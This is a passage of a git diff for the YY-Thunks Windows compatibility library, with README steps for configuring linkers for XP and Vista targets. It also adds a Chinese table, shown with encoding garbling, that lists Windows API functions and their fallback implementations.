.\build\x86-Release --config Release + ``` +3. Rebuild the project + +### 2.4. I don't want to use NuGet, how do I configure the project manually? +#### 2.4.1. using obj file (MSVC Link) +1. Download and unzip [YY-Thunks-Objs](https://github.com/Chuyu-Team/YY-Thunks/releases) to project directory. +2. `Linker` - `Input` - `Additional Dependencies`, add `objs\$(PlatformShortName)\YY_Thunks_for_WinXP.obj`. +3. `Linker` - `System` - `Minimum Required Version`, set to `5.1` (WinXP 32-bit) or `5.2` (WinXP x64 or Win2003). +4. If the project is a `Dynamic Link Library`, then change `Linker` - `Advanced` - `Custom Entry Point` to `DllMainCRTStartupForYY_Thunks` + (If you ignore this step, the XP system may crash with `thread_local`). +5. Rebuild the solution. + +> Note: If your app needs to be compatible with Vista or later, please set `Additional Dependencies` to + `objs\$(PlatformShortName)\YY_Thunks_for_Vista.obj`。 + +#### 2.4.2. using lib files (LLD-Link) +> LLD-Link linkers using obj files will encounter duplicate symbol errors. + +1. Download and unzip [YY-Thunks-Lib](https://github.com/Chuyu-Team/YY-Thunks/releases) to project directory. +2. Add a parameter like `-LIBPATH:YY-Thunks_Root_Dir/lib/5.1.2600.0/x86` to the linker and make sure the order is higher than WinSDK. +3. Please add parameter `-SUBSYSTEM:WINDOWS",5.1"` or `-SUBSYSTEM:CONSOLE",5.1"` or `-SUBSYSTEM:WINDOWS",5.2"` or `-SUBSYSTEM:CONSOLE",5.2"` to linker. +4. If the project is a `Dynamic Link Library`, please add parameter `-ENTRY:DllMainCRTStartupForYY_Thunks` to linker + (If you ignore this step, the XP system may crash with `thread_local`). +5. Rebuild the solution. + +## 3. Compatibility + +### 3.1. Supported Compiler + +Compatible with all platforms. + +* It is supported by all Visual Studio versions (such as: VC6.0, VS2008, VS2010, VS2015, VS2017, VS2019, VS2022...). +* All runtime modes are supported (such as: `/MD`, `/MT`, `/MDd`, `/MTd`). + +### 3.2. Windows SDK Version Requirements +| Thunks Target | At Least Windows SDK Version is required +| ------------------ | ----------- +| Windows 2000 | SDK 6.0 (VS2008 built-in) +| Windows XP(2003) | SDK 6.0 (VS2008 built-in) +| Windows Vista | SDK 6.0 (VS2008 built-in) +| Windows 7 | SDK 7.0 +| Windows 8 | SDK 8.0 +| Windows 8.1 | SDK 8.1 +| Windows 10 10240 | SDK 10.0.10240 +| Windows 10 19041 | SDK 10.0.19041 + +At least Windows SDK 6.0 is required. + +> Note: VC6.0 and VS2005 users should note that the SDK version that comes with these compilers by default is too low. +Please upgrade the SDK to version 6.0 or later, and then use YY-Thunks, otherwise the link will not be successful! +The different SDK version don't affect your app compatibility with the old system. + +### 3.3. Thunks API List + +See the [ThunksList.md](ThunksList.md) + +## 4. Others +### 4.1. Changelog +See the [releases Changelog](https://github.com/Chuyu-Team/YY-Thunks/releases) + +### 4.2. Third Party +* [WinDepends](https://github.com/hfiref0x/WinDepends) + - YY. Depends.Analyzer provides support for Windows API Sets based on this open source project. diff --git a/resources/YY-Thunks-Objs/ThunksList.md b/resources/YY-Thunks-Objs/ThunksList.md new file mode 100755 index 0000000..99558df --- /dev/null +++ b/resources/YY-Thunks-Objs/ThunksList.md @@ -0,0 +1,898 @@ +# YY-Thunks Thunks æ¸…å• + +此表展示了YY-Thunks(鸭船)å¯ä»¥è§£å†³çš„函数ä¸å­˜åœ¨é—®é¢˜ï¼Œæ¬¢è¿Žå¤§å®¶æ‰©å……ï¼ + +> 开头带`*`的函数并ä¸å»ºè®®ä½¿ç”¨ï¼Œå­˜åœ¨ä¸€äº›è¾ƒå¤§è´Ÿé¢å½±å“,仅用于编译通过处ç†ï¼Œå…·ä½“è´Ÿé¢å½±å“å¯å‚考注释内容。 + +## api-ms-win-core-file-l1-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| WriteFile | å…许_puNumberOfBytesWrittenã€_pOverlappedåŒæ—¶ä¸ºnullptr。 +| ReadFile | å…许_puNumberOfBytesReadã€_pOverlappedåŒæ—¶ä¸ºnullptr。 + +## api-ms-win-core-file-l1-2-4.dll +| 函数 | Fallback +| ---- | ----------- +| GetTempPath2W(A) | 调用GetTempPathW(A)。 + +## api-ms-win-core-file-l1-2-5.dll +| 函数 | Fallback +| ---- | ----------- +| CreateFile3 | 调用CreateFile2。 + +## api-ms-win-core-file-l2-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| CopyFile2 | 调用CopyFileExW。 + + +## api-ms-win-core-handle-l1-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| CompareObjectHandles | 调用NtQueryObject以åŠDuplicateHandle。 + +## api-ms-win-core-path-l1-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| PathIsUNCEx | 内部实现。 +| PathCchIsRoot | 内部实现。 +| PathCchAddBackslashEx | 内部实现。 +| PathCchAddBackslash | 调用PathCchAddBackslashEx。 +| PathCchRemoveBackslashEx | 内部实现。 +| PathCchRemoveBackslash | 调用PathCchRemoveBackslashEx。 +| PathCchSkipRoot | 内部实现。 +| PathCchStripToRoot | 内部实现。 +| PathCchRemoveFileSpec | 内部实现。 +| PathCchFindExtension | 内部实现。 +| PathCchAddExtension | 调用PathCchFindExtension。 +| PathCchRenameExtension | 调用PathCchFindExtension。 +| PathCchRemoveExtension | 调用PathCchFindExtension。 +| PathCchCanonicalizeEx | 内部实现。 +| PathCchCanonicalize | 调用PathCchCanonicalizeEx。 +| PathCchCombineEx | 内部实现。 +| PathCchCombine | 调用PathCchCombineEx。 +| PathCchAppendEx | 调用PathCchCombineEx。 +| PathCchAppend | 调用PathCchAppendEx。 +| PathCchStripPrefix | 内部实现。 +| PathAllocCombine | 调用PathCchCombineEx。 +| PathAllocCanonicalize | 调用PathCchCanonicalizeEx。 + +## api-ms-win-core-realtime-l1-1-1.dll +| 函数 | Fallback +| ---- | ----------- +| QueryUnbiasedInterruptTimePrecise | 调用QueryUnbiasedInterruptTime。 +| QueryInterruptTime | 读å–KUSER_SHARED_DATA::InterruptTime值。 +| QueryInterruptTimePrecise | 读å–KUSER_SHARED_DATA::InterruptTime值。 + +## api-ms-win-core-threadpool-l1-2-0.dll +| 函数 | Fallback +| ---- | ----------- +| CreateThreadpoolWork | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CloseThreadpoolWork | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| TrySubmitThreadpoolCallback | 调用QueueUserWorkItem。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| SubmitThreadpoolWork | 调用QueueUserWorkItem。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| WaitForThreadpoolWorkCallbacks | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CreateThreadpoolTimer | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CloseThreadpoolTimer | 调用DeleteTimerQueueTimer。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| SetThreadpoolTimer | 调用CreateTimerQueueTimer。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| WaitForThreadpoolTimerCallbacks | 调用WaitForSingleObject。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| SetEventWhenCallbackReturns | 内部实现。 +| ReleaseSemaphoreWhenCallbackReturns | 内部实现。 +| ReleaseMutexWhenCallbackReturns | 内部实现。 +| LeaveCriticalSectionWhenCallbackReturns | 内部实现。 +| FreeLibraryWhenCallbackReturns | 内部实现。 +| CreateThreadpoolWait | 内部实现。 +| CloseThreadpoolWait | 调用UnregisterWait。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| SetThreadpoolWait | 调用RegisterWaitForSingleObject。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| WaitForThreadpoolWaitCallbacks | 调用WaitForSingleObject。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CreateThreadpoolIo | 调用BindIoCompletionCallback。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CloseThreadpoolIo | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| StartThreadpoolIo | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CancelThreadpoolIo | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| WaitForThreadpoolIoCallbacks | 调用WaitForSingleObject。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CreateThreadpool | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| CloseThreadpool | 内部实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| SetThreadpoolThreadMaximum | 内部实现,自己控制最大并行数é‡ã€‚警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| SetThreadpoolThreadMinimum | 忽略,并总是返回æˆåŠŸã€‚è­¦å‘Šï¼Œæ­¤å‡½æ•°è¯·å‹¿è·¨æ¨¡å—使用ï¼ï¼ï¼ +| CallbackMayRunLong | 自己估算系统剩余å¯ç”¨çº¿ç¨‹æ•°ã€‚ + +## api-ms-win-core-timezone-l1-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| SystemTimeToTzSpecificLocalTimeEx | 调用 SystemTimeToTzSpecificLocalTime。 + +## api-ms-win-core-winrt-l1-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| RoInitialize | 调用 CoInitializeEx。 +| RoUninitialize | 调用 CoUninitialize。 +| RoActivateInstance | 返回 E_NOTIMPL。 +| RoRegisterActivationFactories | 返回 E_NOTIMPL。 +| RoRevokeActivationFactories | 什么也ä¸åšã€‚ +| RoGetActivationFactory | 返回 CLASS_E_CLASSNOTAVAILABLE +| RoRegisterForApartmentShutdown | 返回 E_NOTIMPL。 +| RoUnregisterForApartmentShutdown | 返回 E_NOTIMPL。 +| RoGetApartmentIdentifier | 返回 E_NOTIMPL。 + +## api-ms-win-core-winrt-error-l1-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| RoFailFastWithErrorContext | 调用RaiseFailFastException。 +| RoOriginateError | æ ¹æ®error值返回TRUE或者FLASE。 +| RoOriginateErrorW | æ ¹æ®error值返回TRUE或者FLASE。 +| RoOriginateLanguageException | 调用RoOriginateError。 +| RoTransformError | æ ¹æ®oldError以åŠnewError值返回TRUE或者FLASE。 +| RoTransformErrorW | æ ¹æ®oldError以åŠnewError值返回TRUE或者FLASE。 + +## api-ms-win-core-winrt-string-l1-1-0.dll +| 函数 | Fallback +| ---- | ----------- +| WindowsCreateString | 内部实现。 +| WindowsCreateStringReference | 内部实现。 +| WindowsDeleteString | 内部实现。 +| WindowsDuplicateString | 内部实现。 +| WindowsGetStringLen | 内部实现。 +| WindowsGetStringRawBuffer | 内部实现。 +| WindowsIsStringEmpty | 内部实现。 +| WindowsStringHasEmbeddedNull | 内部实现。 +| WindowsCompareStringOrdinal | 内部实现。 + +## advapi32.dll +| 函数 | Fallback +| ---- | ----------- +| RegDeleteKeyExW(A) | 调用RegDeleteKeyW(A)。 +| RegSetKeyValueW(A) | 调用RegCreateKeyExW(A)以åŠRegSetValueExW(A)。 +| RegDeleteKeyValueW(A) | 调用RegOpenKeyExW(A)以åŠRegDeleteValueW(A)。 +| RegDeleteTreeW(A) | 调用SHDeleteKeyW(A)。 +| RegGetValueW(A) | 调用RegQueryValueExW(A)。 +| RegCopyTreeW(A) | 调用SHCopyKeyW(A)。 +| EventSetInformation | 返回ERROR_NOT_SUPPORTED。 +| EventActivityIdControl | 返回ERROR_NOT_SUPPORTED。 +| EventRegister | 返回ERROR_NOT_SUPPORTED。 +| EventUnregister | 返回ERROR_NOT_SUPPORTED。 +| EnumerateTraceGuidsEx | 返回ERROR_NOT_SUPPORTED。 +| EventEnabled | 返回ERROR_NOT_SUPPORTED。 +| EventWrite | 返回ERROR_NOT_SUPPORTED。 +| EventWriteTransfer | 返回ERROR_NOT_SUPPORTED。 +| EventWriteEx | 调用EventWriteTransfer。 +| EventWriteString | 返回ERROR_NOT_SUPPORTED。 +| GetDynamicTimeZoneInformationEffectiveYears| 直接读å–`Time Zones`注册表。 +| AddMandatoryAce | 调用RtlCopySid。 +| GetTokenInformation | 返回å‡è£…çš„ TokenVirtualizationAllowedã€TokenAppContainerSid等。 + +## bcrypt.dll +| 函数 | Fallback +| ---- | ----------- +| BCryptOpenAlgorithmProvider | 调用CryptAcquireContextWã€‚ç›®å‰æ”¯æŒçš„算法有:RC2ã€RC4ã€AESã€DESã€3DESã€3DES-112ã€MD2ã€MD4ã€MD5ã€SHA1ã€SHA256ã€SHA384ã€SHA512ã€RNGã€FIPS186DSARNGã€DUALECRNG。 +| BCryptCloseAlgorithmProvider | 调用CryptReleaseContext。 +| BCryptGenRandom | 调用RtlGenRandom。 +| BCryptGetProperty | 调用CryptGetKeyParam。 +| BCryptSetProperty | 调用CryptSetKeyParam。 +| BCryptCreateHash | 调用CryptCreateHash。 +| BCryptDestroyHash | 调用CryptDestroyHash。 +| BCryptHashData | 调用CryptHashData。 +| BCryptFinishHash | 调用CryptGetHashParam。 +| BCryptDeriveKeyPBKDF2 | 调用BCryptHashData。 +| BCryptDeriveKeyCapi | 调用BCryptHashData。 +| BCryptEncrypt | 调用CryptEncrypt。 +| BCryptDecrypt | 调用CryptDecrypt。 +| BCryptGenerateSymmetricKey | 调用CryptImportKey。 +| BCryptDestroyKey | 调用CryptDestroyKey。 +| BCryptExportKey | 调用CryptExportKey。 +| BCryptImportKey | 调用CryptImportKey。 + +## bcryptprimitives.dll +| 函数 | Fallback +| ---- | ----------- +| ProcessPrng | 调用RtlGenRandom。 + +## bluetoothapis.dll +| 函数 | Fallback +| ---- | ----------- +| BluetoothGATTGetCharacteristicValue | 返回ERROR_NOT_SUPPORTED。 +| BluetoothGATTGetCharacteristics | 返回ERROR_NOT_SUPPORTED。 +| BluetoothGATTGetDescriptors | 返回ERROR_NOT_SUPPORTED。 +| BluetoothGATTGetServices | 返回ERROR_NOT_SUPPORTED。 +| BluetoothGATTRegisterEvent | 返回ERROR_NOT_SUPPORTED。 +| BluetoothGATTSetCharacteristicValue | 返回ERROR_NOT_SUPPORTED。 +| BluetoothGATTSetDescriptorValue | 返回ERROR_NOT_SUPPORTED。 + +## CfgMgr32.dll +| 函数 | Fallback +| ---- | ----------- +| CM_Get_DevNode_Property_ExW | 调用CM_Get_DevNode_Registry_PropertyW。 +| CM_Set_DevNode_Property_ExW | 调用CM_Set_DevNode_Registry_PropertyW。 +| CM_Get_DevNode_PropertyW | 调用CM_Get_DevNode_Property_ExW。 +| CM_Set_DevNode_PropertyW | 调用CM_Set_DevNode_Property_ExW。 + +## Crypt32.dll +| 函数 | Fallback +| ---- | ----------- +| CryptProtectMemory | 返回TRUE。 +| CryptUnprotectMemory | 返回TRUE。 +| CryptBinaryToStringW(A) | 为Windows XP模拟 CRYPT_STRING_NOCRLF。 + +## d3d9.dll +| 函数 | Fallback +| ---- | ----------- +| Direct3DCreate9Ex | 返回 `D3DERR_NOTAVAILABLE`。 + +## d3d11.dll +| 函数 | Fallback +| ---- | ----------- +| D3D11CreateDevice | 返回 `E_NOINTERFACE`。 +| CreateDirect3D11DeviceFromDXGIDevice | 返回 `E_NOINTERFACE`。 + +## d3d12.dll +| 函数 | Fallback +| ---- | ----------- +| D3D12CreateDevice | 返回 `E_NOINTERFACE`。 +| D3D12GetDebugInterface | 返回 `E_NOINTERFACE`。 +| D3D12SerializeVersionedRootSignature | 返回 `E_NOINTERFACE`。 + +## DbgHelp.dll +| 函数 | Fallback +| ---- | ----------- +| SymSetSearchPathW | 调用SymSetSearchPath。 +| SymGetSearchPathW | 调用SymGetSearchPath。 + +## Dnsapi.dll +| 函数 | Fallback +| ---- | ----------- +| DnsQueryEx | 调用DnsQuery_W。 +| DnsCancelQuery | 内部实现。 + +## dwmapi.dll +| 函数 | Fallback +| ---- | ----------- +| DwmEnableBlurBehindWindow | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmIsCompositionEnabled | 总是返回组åˆå±‚已关闭。 +| DwmEnableComposition | 如果å°è¯•å¼€å¯ç»„åˆï¼Œé‚£ä¹ˆè¿”回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ï¼Œå…¶ä»–情况返回 S_OK_。 +| DwmExtendFrameIntoClientArea | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmDefWindowProc | 返回 FALSE。 +| DwmGetColorizationColor | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmGetWindowAttribute | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmSetWindowAttribute | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmFlush | 返回 `S_OK_`。 +| DwmGetCompositionTimingInfo | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmInvalidateIconicBitmaps | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmSetIconicLivePreviewBitmap | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ +| DwmSetIconicThumbnail | 返回 `DWM_E_COMPOSITIONDISABLED`(表示DWMå·²ç¦ç”¨ï¼‰ã€‚ + + +## dwrite.dll +| 函数 | Fallback +| ---- | ----------- +| DWriteCreateFactory | 返回 `E_NOINTERFACE`。
此外NT6或者更高版本æä¾›IDWriteFactory3模拟。 + +## dxgi.dll +| 函数 | Fallback +| ---- | ----------- +| CreateDXGIFactory | 返回 `DXGI_ERROR_UNSUPPORTED`。 +| CreateDXGIFactory1 | 调用 CreateDXGIFactory。 +| CreateDXGIFactory2 | 调用 CreateDXGIFactory1。 + +## dxva2.dll +| 函数 | Fallback +| ---- | ----------- +| DXVA2CreateVideoService | 返回 `E_NOINTERFACE`。 + +## esent.dll +| 函数 | Fallback +| ---- | ----------- +| JetAddColumnA | 调用JetAddColumn。 +| JetAddColumnA | 调用JetAddColumn。 +| JetAttachDatabaseA | 调用JetAttachDatabase。 +| JetAttachDatabase2A | 调用JetAttachDatabase2。 +| JetAttachDatabaseWithStreamingA | 调用JetAttachDatabaseWithStreaming。 +| JetBackupA | 调用JetBackup。 +| JetBackupInstanceA | 调用JetBackupInstance。 +| JetBeginSessionA | 调用JetBeginSession。 +| JetCompactA | 调用JetCompact。 +| JetConvertDDLA | 调用JetConvertDDL。 +| JetCreateDatabaseA | 调用JetCreateDatabase。 +| JetCreateDatabase2A | 调用JetCreateDatabase2。 +| JetCreateDatabaseWithStreamingA | 调用JetCreateDatabaseWithStreaming。 +| JetCreateIndexA | 调用JetCreateIndex。 +| JetCreateIndex2A | 调用JetCreateIndex2。 +| JetCreateInstanceA | 调用JetCreateInstance。 +| JetCreateInstance2A | 调用JetCreateInstance2。 +| JetCreateTableA | 调用JetCreateTable。 +| JetCreateTableColumnIndexA | 调用JetCreateTableColumnIndex。 +| JetCreateTableColumnIndex2A | 调用JetCreateTableColumnIndex2。 +| JetDBUtilitiesA | 调用JetDBUtilities。 +| JetDefragmentA | 调用JetDefragment。 +| JetDefragment2A | 调用JetDefragment2。 +| JetDeleteColumnA | 调用JetDeleteColumn。 +| JetDeleteColumn2A | 调用JetDeleteColumn2。 +| JetDeleteIndexA | 调用JetDeleteIndex。 +| JetDeleteTableA | 调用JetDeleteTable。 +| JetDetachDatabaseA | 调用JetDetachDatabase。 +| JetDetachDatabase2A | 调用JetDetachDatabase2。 +| JetEnableMultiInstanceA | 调用JetEnableMultiInstance。 +| JetExternalRestoreA | 调用JetExternalRestore。 +| JetExternalRestore2A | 调用JetExternalRestore2。 +| JetGetAttachInfoA | 调用JetGetAttachInfo。 +| JetGetAttachInfoInstanceA | 调用JetGetAttachInfoInstance。 +| JetGetColumnInfoA | 调用JetGetColumnInfo。 +| JetGetCurrentIndexA | 调用JetGetCurrentIndex。 +| JetGetDatabaseFileInfoA | 调用JetGetDatabaseFileInfo。 +| JetGetDatabaseInfoA | 调用JetGetDatabaseInfo。 +| JetGetIndexInfoA | 调用JetGetIndexInfo。 +| JetGetInstanceInfoA | 调用JetGetInstanceInfo。 +| JetGetLogInfoA | 调用JetGetLogInfo。 +| JetGetLogInfoInstanceA | 调用JetGetLogInfoInstance。 +| JetGetLogInfoInstance2A | 调用JetGetLogInfoInstance2。 +| JetGetObjectInfoA | 调用JetGetObjectInfo。 +| JetGetSystemParameterA | 调用JetGetSystemParameter。 +| JetGetTableColumnInfoA | 调用JetGetTableColumnInfo。 +| JetGetTableIndexInfoA | 调用JetGetTableIndexInfo。 +| JetGetTableInfoA | 调用JetGetTableInfo。 +| JetGetTruncateLogInfoInstanceA | 调用JetGetTruncateLogInfoInstance。 +| JetInit3A | 调用JetInit3。 +| JetOpenDatabaseA | 调用JetOpenDatabase。 +| JetOpenFileA | 调用JetOpenFile。 +| JetOpenFileInstanceA | 调用JetOpenFileInstance。 +| JetOpenTableA | 调用JetOpenTable。 +| JetOSSnapshotFreezeA | 调用JetOSSnapshotFreeze。 +| JetRenameColumnA | 调用JetRenameColumn。 +| JetRenameTableA | 调用JetRenameTable。 +| JetRestoreA | 调用JetRestore。 +| JetRestore2A | 调用JetRestore2。 +| JetRestoreInstanceA | 调用JetRestoreInstance。 +| JetSetColumnDefaultValueA | 调用JetSetColumnDefaultValue。 +| JetSetCurrentIndexA | 调用JetSetCurrentIndex。 +| JetSetCurrentIndex2A | 调用JetSetCurrentIndex2。 +| JetSetCurrentIndex3A | 调用JetSetCurrentIndex3。 +| JetSetCurrentIndex4A | 调用JetSetCurrentIndex4。 +| JetSetDatabaseSizeA | 调用JetSetDatabaseSize。 +| JetSetSystemParameterA | 调用JetSetSystemParameter。 +| JetSnapshotStartA | 调用JetSnapshotStart。 +| JetUpgradeDatabaseA | 调用JetUpgradeDatabase。 +| JetAttachDatabase2W | 调用JetAttachDatabase2A。 +| JetBeginSessionW | 调用JetBeginSessionA。 +| JetCreateInstanceW | 调用JetCreateInstanceA。 +| JetGetTableColumnInfoW | 调用JetGetTableColumnInfoA。 +| JetOpenDatabaseW | 调用JetOpenDatabaseA。 +| JetOpenTableW | 调用JetOpenTableA。 +| JetSetSystemParameterW | 调用JetSetSystemParameterA。 +| JetGetSystemParameterW | 调用JetGetSystemParameterA。 + +## iphlpapi.dll +| 函数 | Fallback +| ---- | ----------- +| GetIfTable2 | 调用GetIfTable,并使用HeapAlloc申请内存。 +| GetIfTable2Ex | 调用GetIfTable,并使用HeapAlloc申请内存。 +| GetIfEntry2 | 调用GetIfEntry。 +| GetIfEntry2Ex | 调用GetIfEntry2。 +| FreeMibTable | 调用HeapFree。 +| ConvertInterfaceIndexToLuid | 调用GetIfEntry。 +| ConvertInterfaceLuidToNameW(A) | 内部实现。 +| ConvertInterfaceNameToLuidW(A) | 内部实现。 +| if_nametoindex | 调用GetIfEntry。 +| if_indextoname | 调用ConvertInterfaceIndexToLuidã€ConvertInterfaceLuidToNameA。 +| ConvertInterfaceLuidToGuid | 调用GetIfEntry。 +| ConvertInterfaceLuidToIndex | 内部实现。 +| * NotifyIpInterfaceChange | 什么也ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| CancelMibChangeNotify2 | 什么也ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ + +## kernel32.dll +| 函数 | Fallback +| ---- | ----------- +| DecodePointer | 返回指针本身。 +| EncodePointer | 返回指针本身。 +| Wow64DisableWow64FsRedirection | 返回FALSE,并设置 LastError = ERROR_INVALID_FUNCTION。 +| Wow64RevertWow64FsRedirection | 返回FALSE,并设置 LastError = ERROR_INVALID_FUNCTION。 +| Wow64EnableWow64FsRedirection | 返回FALSE,并设置 LastError = ERROR_INVALID_FUNCTION。 +| IsWow64Process2 | 调用IsWow64Process。 +| IsWow64GuestMachineSupported | 调用GetNativeSystemInfo。 +| GetTickCount64 | 调用GetTickCount。 +| GetSystemTimePreciseAsFileTime | 调用GetSystemTimeAsFileTime。 +| InitializeCriticalSectionEx | 调用InitializeCriticalSectionAndSpinCount。 +| InitOnceInitialize | åˆå§‹åŒ–为 INIT_ONCE_STATIC_INIT。 +| InitOnceBeginInitialize | 调用NtWaitForKeyedEvent。 +| InitOnceComplete | 调用NtReleaseKeyedEvent。 +| InitOnceExecuteOnce | 调用NtWaitForKeyedEvent以åŠNtReleaseKeyedEvent。 +| LocaleNameToLCID | 查LocaleNameToLcidTable。 +| LCIDToLocaleName | 查LcidToLocaleNameTable。 +| GetLocaleInfoEx | 调用GetLocaleInfoW。 +| GetDateFormatEx | 调用GetDateFormatW。 +| GetTimeFormatEx | 调用GetTimeFormatW。 +| GetNumberFormatEx | 调用GetNumberFormatW。 +| GetCurrencyFormatEx | 调用GetCurrencyFormatW。 +| GetUserDefaultLocaleName | 调用LCIDToLocaleName。 +| GetSystemDefaultLocaleName | 调用LCIDToLocaleName。 +| EnumCalendarInfoExEx | 调用EnumCalendarInfoExW。 +| EnumDateFormatsExEx | 调用EnumDateFormatsExW。 +| LCMapStringEx | 调用LCMapStringW。 +| GetFileInformationByHandleEx | 调用NtQueryInformationFile 或者 NtQueryDirectoryFile。 +| SetFileInformationByHandle | 调用NtSetInformationFile。 +| GetFinalPathNameByHandleW(A) | 调用NtQueryObject以åŠNtQueryInformationFile。 +| GetLogicalProcessorInformation | 返回FALSE,并设置 LastError = ERROR_INVALID_FUNCTION。 +| GetLogicalProcessorInformationEx | 调用GetLogicalProcessorInformation。 +| GetNumaHighestNodeNumber | 返回0。 +| RaiseFailFastException | 调用TerminateProcess。 +| GetThreadId | 调用NtQueryInformationThread。 +| GetProcessIdOfThread | 调用NtQueryInformationThread。 +| GetProcessId | 调用NtQueryInformationProcess。 +| QueryThreadCycleTime | 调用GetThreadTimes。 +| QueryProcessCycleTime | 调用GetProcessTimes。 +| K32EnumProcessModules | 调用EnumProcessModules。 +| K32EnumProcessModulesEx | 调用EnumProcessModulesEx。 +| K32GetModuleBaseNameW(A) | 调用GetModuleBaseNameW(A)。 +| K32GetModuleFileNameExW(A) | 调用K32GetModuleFileNameExW(A)。 +| K32EmptyWorkingSet | 调用EmptyWorkingSet。 +| K32QueryWorkingSet | 调用QueryWorkingSet。 +| K32QueryWorkingSetEx | 调用QueryWorkingSetEx。 +| K32InitializeProcessForWsWatch | 调用InitializeProcessForWsWatch。 +| K32GetWsChanges | 调用GetWsChanges。 +| K32GetWsChangesEx | 调用GetWsChangesEx。 +| K32GetMappedFileNameW(A) | 调用GetMappedFileNameW(A)。 +| K32EnumDeviceDrivers | 调用EnumDeviceDrivers。 +| K32GetDeviceDriverBaseNameW(A) | 调用GetDeviceDriverBaseNameW(A)。 +| K32GetDeviceDriverFileNameW(A) | 调用GetDeviceDriverFileNameW(A)。 +| K32GetPerformanceInfo | 调用GetPerformanceInfo。 +| K32EnumPageFilesW(A) | 调用EnumPageFilesW(A)。 +| K32GetProcessImageFileNameW(A) | 调用GetProcessImageFileNameW(A)。 +| K32GetProcessMemoryInfo | 调用GetProcessMemoryInfo。 +| K32EnumProcesses | 调用EnumProcesses。 +| K32GetModuleInformation | 调用GetModuleInformation。 +| QueryFullProcessImageNameW(A) | 调用GetProcessImageFileNameW(A) 或者 GetModuleFileNameExW(A)。 +| CreateFile2 | 调用CreateFileW。 +| CreateEventExW(A) | 调用CreateEventW(A)。 +| CreateMutexExW(A) | 调用CreateMutexW(A)。 +| CreateSemaphoreExW | 调用CreateSemaphoreW。 +| CreateWaitableTimerExW | 调用CreateWaitableTimerW。 +| InterlockedCompareExchange64 | 调用内部函数_InterlockedCompareExchange64。 +| SetThreadErrorMode | 调用SetErrorMode。 +| GetThreadErrorMode | 调用GetErrorMode。 +| GetErrorMode | 调用NtQueryInformationProcess。 +| InitializeSRWLock | åˆå§‹åŒ–为 RTL_SRWLOCK_INIT。 +| AcquireSRWLockExclusive | 调用NtWaitForKeyedEvent。 +| TryAcquireSRWLockExclusive | 调用InterlockedBitTestAndSet(64)。 +| ReleaseSRWLockExclusive | 调用NtReleaseKeyedEvent。 +| AcquireSRWLockShared | 调用NtWaitForKeyedEvent。 +| TryAcquireSRWLockShared | 调用InterlockedCompareExchange。 +| ReleaseSRWLockShared | 调用NtReleaseKeyedEvent。 +| InitializeConditionVariable | åˆå§‹åŒ–为 CONDITION_VARIABLE_INIT。 +| SleepConditionVariableCS | 调用NtWaitForKeyedEvent。 +| SleepConditionVariableSRW | 调用NtWaitForKeyedEvent。 +| WakeConditionVariable | 调用NtReleaseKeyedEvent。 +| WakeAllConditionVariable | 调用NtReleaseKeyedEvent。 +| InitializeSynchronizationBarrier | 调用CreateEvent。 +| EnterSynchronizationBarrier | 调用WaitForSingleObject。 +| DeleteSynchronizationBarrier | 调用CloseHandle。 +| WaitOnAddress | 调用NtWaitForKeyedEvent。 +| WakeByAddressSingle | 调用NtReleaseKeyedEvent。 +| WakeByAddressAll | 调用NtReleaseKeyedEvent。 +| GetCurrentProcessorNumber | 调用cpuid。 +| GetCurrentProcessorNumberEx | 调用GetCurrentProcessorNumber。 +| GetNumaNodeProcessorMask | å‡å®šæ‰€æœ‰CPU都在当å‰Numa。 +| GetNumaNodeProcessorMaskEx | 调用GetNumaNodeProcessorMask。 +| GetThreadGroupAffinity | 调用NtQueryInformationThread。 +| SetThreadGroupAffinity | 调用SetThreadAffinityMask。 +| GetOverlappedResultEx | 调用WaitForSingleObjectEx。 +| *CancelIoEx | 调用CancelIoã€‚è­¦å‘Šï¼Œä¼šæŠŠæ­¤å¥æŸ„的所有IOæ“ä½œå–æ¶ˆæŽ‰ï¼ +| *CancelSynchronousIo | 